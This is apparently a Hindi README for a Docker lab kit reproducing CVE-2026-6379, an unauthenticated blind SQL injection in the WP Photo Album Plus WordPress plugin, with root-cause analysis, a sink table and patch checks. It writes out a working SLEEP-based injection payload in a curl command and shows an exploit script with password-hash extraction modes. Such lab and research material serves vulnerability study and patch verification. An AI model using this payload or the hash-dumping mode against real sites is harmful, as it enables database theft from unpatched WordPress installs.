
# CVE-2026-6379 के लिए Docker-आधारित लैब किट, WP Photo Album Plus में एक अनधिकृत SQL इंजेक्शन। इसमें समय-आधारित ब्लाइंड PoC, मूल-कारण विश्लेषण, और अधिकृत सुरक्षा अनुसंधान के लिए पैच सत्यापन शामिल है।
पैरामीटर: wppa-supersearch
गंभीरता: CVSS 8.6 (उच्च) WPScan/Wordfence के अनुसार
विक्रेता फिक्स: 2026-04-17 (कमिट d2b0d05d WordPressBugBounty मिरर में)
सार्वजनिक खुलासा: 2026-04-27 (WPScan)
यह किट आपको एक स्व-निहित Docker लैब और एक कार्यशील PoC देती है ताकि आप बग को शुरू से अंत तक दोहरा सकें, सत्यापित कर सकें और सिखा सकें।
# लैब होस्ट पर:
cd lab && ./setup.sh
# जब इंस्टॉलर "=== LAB READY ===" को page_id के साथ प्रिंट करे:
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode probe-calendar
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode version
python3 ../pocs/exploit.py "http://<host>:8080/?page_id=<id>" --mode hash
एक असुरक्षित लक्ष्य SLEEP प्रोब पर ~5s में जवाब देता है; एक पैच किया गया लक्ष्य में जवाब देता है।
<1sमैनुअल वन-लाइनर जांच:
curl -sS -o /dev/null -w "%{time_total}\n" \
"http://<host>:8080/?page_id=<id>&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
cve-2026-6379-wppa/
├── README.md # यह फ़ाइल
├── docs/
│ ├── writeup.md # रूट-कॉज़ + पैच विश्लेषण
│ └── prompts.md # AI-रिसर्च प्रॉम्प्ट जिन्होंने इस किट को तैयार किया
├── lab/
│ ├── docker-compose.yml # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
│ ├── setup.sh # ब्रिंग-अप / टियर-डाउन / पर्ज
│ └── init/install.sh # आइडेम्पोटेंट इंस्टॉलर (wp-cli)
└── pocs/
├── exploit.py # टाइम-बेस्ड ब्लाइंड SQLi (probe / version / user / hash)
└── test_oracle.sh # एंड-टू-एंड इंटीग्रेशन टेस्ट
wppa_get_photos() रिक्वेस्ट पैरामीटर wppa-supersearch को एक
CSV s1,type,s3,DATA के रूप में पार्स करता है। जब type='o' (Owner) होता है, तो DATA को
सीधे एक SQL स्ट्रिंग में जोड़ा जाता है:
$query = "SELECT id FROM $wpdb->wppa_photos
WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
कोई कोटिंग नहीं, कोई $wpdb->prepare नहीं। wppa-supersearch=,o,,x' OR (...)-- -
सेट करने से कोटेड owner से बाहर निकलकर मनमाना SQL चलता है। एंडपॉइंट वह सार्वजनिक
फ्रंट-एंड पेज है जो [wppa] शॉर्टकोड होस्ट करता है, इसलिए कोई प्रमाणीकरण आवश्यक नहीं है।
फिक्स पहले से जोड़े गए हर केस को $wpdb->prepare(..., %s) में लपेटता है।
d2b0d05d)CVE-2026-6379 पैच wppa-functions.php में wppa_get_photos() के अंदर छह अलग-अलग SQL सिंक को फिर से लिखता है। दोनों PoC मोड (probe और
probe-calendar) स्वतंत्र सिंक को हिट करते हैं; बाकी केवल पेलोड आकार में भिन्न होते हैं। सभी बिना प्रमाणीकरण के हैं और प्राथमिक सिंक के समान wppa-occur=N गेटिंग के माध्यम से पहुंच योग्य हैं।
| # | सिंक (असुरक्षित लाइन) | ट्रिगर पैरामीटर | PoC मोड |
|---|---|---|---|
| 1 | owner — WHERE owner = '$data' (लाइन 1244) | wppa-supersearch=,o,,… | --mode probe (लाइव सत्यापित) |
| 2 | name — WHERE sname = '<wppa_name_slug($data)>' (लाइन 1237) | wppa-supersearch=,n,,… | शोषित नहीं (स्लग फिल्टर कोट्स हटाता है) |
| 3 | tag — WHERE tags LIKE '%$d%' (लाइन 1254) | wppa-supersearch=,g,,… | wppa_sanitize_tags() द्वारा सीमित |
| 4 | calendar exifdtm — WHERE exifdtm LIKE '<wp_strip_all_tags($caldate)>%' (लाइन 1361) | wppa-calendar=exifdtm&wppa-caldate=… | --mode probe-calendar (लाइव सत्यापित) |
| 5 | calendar timestamp — WHERE timestamp >= $t1 AND timestamp < $t2 (लाइन 1368) | wppa-calendar=timestamp&wppa-caldate=… | संख्यात्मक कोएर्शन (intval) — सीमित |
| 6 | calendar modified — timestamp के समान (लाइन 1375) | wppa-calendar=modified&wppa-caldate=… | संख्यात्मक कोएर्शन — सीमित |
लाइनें #4–#6 ने उसी कमिट में एक लटकता हुआ ORDER BY $order फ्रैगमेंट भी हटाया —
नीचे "संबंधित हार्डनिंग" देखें।
उसी असुरक्षित बिल्ड के खिलाफ wppa-functions.php का व्यापक ऑडिट
CVE-2026-6379 पैच के बाहर सिंक सतह पर लाया। वे वह नहीं हैं जो
WPScan/Wordfence ने प्रकाशित किया, और सभी समान रूप से शोषण योग्य नहीं हैं, लेकिन
वे यहां दस्तावेजित हैं ताकि लैब वेरिएंट शिकार के लिए भी उपयोगी हो।
stripslashes( $wpdb->prepare( ... IN (%s) ... ) ) — संभावित अलग कमजोरीस्थिति: 9.1.11.001 (पोस्ट-पैच) में मौजूद। d2b0d05d द्वारा संबोधित नहीं।
अनुवर्ती CVE के लिए उम्मीदवार।
%s कॉमा-सेपरेटेड IN सूची के लिए मान्य नहीं है (यह हमेशा एक एकल
कोटेड स्ट्रिंग उत्सर्जित करता है)। प्लगइन तैयार स्टेटमेंट को stripslashes() में लपेटकर उसके आसपास काम करता है, जो prepare() द्वारा अभी जोड़ी गई एस्केपिंग को हटा देता है — यदि कोई सूची तत्व हमलावर-दूषित है तो इंजेक्शन फिर से खुल जाता है।
प्रतिनिधि घटनाएँ: wppa-functions.php लाइनें 660, 711, 831, 838,
889, 895, 900, 971, 1028, 1034, 1041, 1122, 1144, 1190, 1410, 1414, 1465,
1470, 1476, 1481, 1491।
वेरिएंट विश्लेषण के लिए हंट क्वेरी:
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
/var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
ORDER BY $order — आंशिक रूप से संबोधितपैच ने कैलेंडर/IN-क्लॉज सिंक से ORDER BY $order हटा दिया लेकिन
इसे दूसरों में छोड़ दिया। $order प्लगइन रनटाइम स्टेट (सेटिंग्स
टेबल) से सेट होता है — शोषण के लिए उस स्टेट में एक राइट पथ की आवश्यकता होती है। इसे
हार्डनिंग के रूप में मानें।
wp_strip_all_tags() SQL सैनिटाइज़र के रूप में उपयोग किया गया (#4 का वेरिएंट)wp_strip_all_tags HTML हटाता है, SQL नहीं। जहाँ भी यह एक
कोटेड SQL फ्रैगमेंट के आसपास दिखाई देता है, वह फ्रैगमेंट इंजेक्टेबल है। caldate के अलावा,
किसी भी अन्य रिक्वेस्ट वैल्यू का ऑडिट करें जो कॉनकैटेनेशन से पहले इस फ़ंक्शन से गुजरती है।
| स्थिति | probe | probe-calendar |
|---|---|---|
| असुरक्षित (9.1.10.011) | [+] VULNERABLE — ~5.0s ≥ 3.5s | [+] VULNERABLE — ~5.0s ≥ 3.5s |
| पैच किया गया (9.1.11.001) | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
| प्लगइन अक्षम | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
[wppa] शॉर्टकोड के बिना पेज | [-] Not confirmed — ~0.04s | [-] Not confirmed — ~0.04s |
चल रहे लैब पर वर्जन स्विच करें:
# पैच किया गया:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
--allow-root || true
# प्रोब फिर से चलाएँ; नकारात्मक होना चाहिए।
admin / adminadmin का उपयोग करता है — इसे कभी भी इंटरनेट पर उजागर न करें।./setup.sh purge के साथ टियर डाउन करें (डेटाबेस वॉल्यूम हटाता है)।wppa-functions.php (असुरक्षित): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/2d8c2f64/wp-photo-album-plus/wppa-functions.phpwppa-functions.php (पैच किया गया): https://github.com/WordPressBugBounty/plugins-wp-photo-album-plus/blob/d2b0d05d/wp-photo-album-plus/wppa-functions.php